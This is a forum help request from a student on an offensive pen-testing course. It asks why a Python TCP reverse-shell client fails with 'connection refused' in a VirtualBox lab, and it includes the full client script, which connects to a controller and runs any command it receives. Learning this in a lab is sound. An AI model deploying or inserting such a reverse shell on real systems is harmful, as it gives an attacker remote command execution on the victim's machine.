I'm very new to socket, and am currently taking an online course for offensive pen tests. One of the lessons is TCP Reverse shells. I am running two scripts on separate virtual machines (using VirtualBox), one being the attacker and another being the target. The attacker script is running just fine, however the client is outputting the error:
Traceback (most recent call last):
File "C:\Users\Home\Desktop\TCP_RevShell.py", line 22 in <module> main()
File "C:\Users\Home\Desktop\TCP_RevShell.py", line 21, in main connect()
File "C:\Users\Home\Desktop\TCP_RevShell.py", line 6, in connect
s.connect(('10.0.2.15', 8080))
File "C:\Python27\lib\socket.py", line 228, in meth return getattr(self._sock,name) (*args)
error: [Errno 10061] No connection could be made because the target machine actively refused it
And my code:
import socket
import subprocess
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.2.15', 8080))
while True:
command = s.recv(1024)
if 'terminate' in command:
s.close()
break
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
s.send(CMD.stdout.read())
s.send(CMD.stdout.read())
def main():
connect()
main()
I don't know if you need to see the other script to answer my question, if so, please tell me. Any help would be greatly appreciated, ~Spiralio.